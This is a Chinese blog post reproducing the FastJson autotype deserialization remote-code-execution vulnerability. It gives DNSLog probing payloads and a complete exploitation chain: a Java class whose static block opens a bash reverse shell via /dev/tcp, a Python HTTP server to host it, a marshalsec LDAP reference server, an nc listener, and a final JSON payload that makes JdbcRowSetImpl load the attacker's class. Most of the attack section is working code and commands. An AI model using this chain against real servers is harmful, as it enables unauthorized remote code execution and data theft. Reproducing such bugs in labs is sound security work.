当前位置:网站首页>FastJson反序列化漏洞(复现)
FastJson反序列化漏洞(复现)
2022-07-30 17:08:00 【Gaowu-】
漏洞介绍
FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。
详细描述
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload
漏洞复现
LOGIN页面登录抓包

添加字符破环原始json数据发现为fastjson

验证是否存在fastjson漏洞(可利用Burp插件或检测脚本)

或利用以下Payload DNSLog验证
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn地址/zcc",
"autoCommit":true
}
}通过检测发现存在漏洞。
漏洞利用
前期准备:
1. 工具:GitHub - mbechler/marshalsec
下载后进入目录利用以下语句进行编译
mvn clean package -DskipTests #编译可能会遇到问题,在此遇到JAVAC没装,装一下JAVAC就可以了(无报错请忽略) yum install java-devel
编译完成后会在target目录生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件

2. 新建一个fastjson.java文件,写exp代码。
vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/反弹IP端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}javac编译生成fastjson.class文件
javac ./fastjson.java

3. 新建窗口,启动http服务
python3 -m http.server 8000
本地访问,测试是否服务正常启动。

4. 新建窗口 VPS服务器启动LDAP服务,监听1099端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://web服务IP:8000/#fastjson" 1099

5. 服务器监听4444端口(与3步fastjson.java中写的反弹ip端口一直)
nc -lvvp 4444

6. 返回BURP构造Payload反弹Shell
{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1099/fastjson", #启动的LDAP服务ip+端口 (第5步)
"autoCommit":true
}
}
FastJson验证
抓包改为POST方式,添加字符破坏原有数据,返回包会出现fastjson字样,但是这个可以屏蔽
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog地址"}
{"@type":"java.net.Inet6Address","val":"dnslog地址"}
发现了fastjson指纹,可以通过burp插件或脚本,检测是否存在漏洞。相关工具:点击关注公众号:7Seven安全
参考:FastJson漏洞讲解:
边栏推荐
- 疫情之下的裁员浪潮,7点建议帮你斩获心仪offer
- C语言向MySQL插入数据
- Is it reliable to work full-time in self-media?
- 2022-07-30 Androd 进入深度休眠后把WIFI给关掉,唤醒之后重新打开WIFI
- 592. Fraction Addition and Subtraction
- Security business revenue growth rate exceeds 70% 360 builds digital security leader
- Discuz magazine/news report template (jeavi_line) UTF8-GBK template
- FP6600QSO SOP-8 USB专用充电端口控制器 用于快充电协议和QC2.0/3.0
- 简易的命令行入门教程
- 哎,这要人老命的缓存一致问题啊
猜你喜欢

Daily practice------Generate 13-digit bar, Ean-13 code rule: The thirteenth digit is the check code obtained by the calculation of the first twelve digits.

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)解决办法

Express框架连接MySQL及ORM框架

DLCM - 基于列表上下文信息的重排序模型

huato 热更新环境搭建(DLL方式热更新C#代码)

onenote use
![[Geek Challenge 2020] Roamphp1-Welcome](/img/3b/2fa91f7478b8abf6efe0feafd24e58.png)
[Geek Challenge 2020] Roamphp1-Welcome

FP6606CMP5 CPC-16L USB类型-C和PD充电控制器 百盛电子代理商

Excel导入和导出

基于stm32的shell实现
随机推荐
将 APACHE 日志解析到 SQL 数据库中
Promise entry to proficient (1.5w word detailed explanation)
华为云数据治理生产线DataArts,让“数据'慧'说话”
592. Fraction Addition and Subtraction
一篇文 带你搞懂,虚拟内存、内存分页、分段、段页式内存管理(超详细)
Lotus 1.16.0 minimum snapshot export import
Express框架连接MySQL及ORM框架
基于stm32的shell实现
JMeter笔记4 | JMeter界面介绍
有没有并发系统设计的经验,我该怎么说?
每日练习------生成13位条形, Ean-13码规则:第十三位数字是前十二位数字经过计算得到的校验码。
JMeter Notes 3 | JMeter Installation and Environment Instructions
mysql进制安装与mysql密码破解
全职做自媒体靠谱吗?
Deep Feedback Network for Recommendation
bert-base调试心得
C# 跨程序传图(共享内存块传图)跨exe传图
Navisworks切换语言
FP6606CMP5 CPC-16L USB类型-C和PD充电控制器 百盛电子代理商
Error EPERM operation not permitted, mkdir 'Dsoftwarenodejsnode_cache_cacach Two solutions